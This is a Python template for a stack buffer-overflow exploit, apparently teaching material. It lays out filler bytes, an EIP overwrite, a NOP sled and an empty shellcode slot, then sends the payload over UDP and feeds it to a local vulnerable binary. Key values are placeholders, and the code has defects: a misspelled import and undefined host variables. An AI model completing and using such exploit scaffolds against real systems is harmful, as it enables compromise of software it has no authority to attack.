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#!/usr/bin/env python

'''

Author: Chris Duffy

Date: May 2015

Name: wrapper_exploit.py

Purpose: An sample exploit for wrapping around a binary execution

Copyright (c) 2015, Christopher Duffy All rights reserved.

Redistribution and use in source and binary forms, with or without modification,

are permitted provided that the following conditions are met: * Redistributions

of source code must retain the above copyright notice, this list of conditions and

the following disclaimer. * Redistributions in binary form must reproduce the above

copyright notice, this list of conditions and the following disclaimer in the

documentation and/or other materials provided with the distribution. * Neither the

name of the nor the names of its contributors may be used to endorse or promote

products derived from this software without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS

"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,

THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE

DISCLAIMED. IN NO EVENT SHALL CHRISTOPHER DUFFY BE LIABLE FOR ANY DIRECT, INDIRECT,

INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,

PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS

INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT

LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE

OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

'''

import sys, socket, strut, subprocess

program_name = 'C:\exploit_writing\vulnerable.exe'

fill ="A"*####

eip = struct.pack('<I',0x########)

offset = "\x90"*##

available_shellcode_space = ###

shell =() #Code to insert

# NOPs to fill the remaining space

exploit = fill + eip + offset + shell

client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

client.sendto(exploit, (rhost, rport))

subprocess.call([program_name, exploit])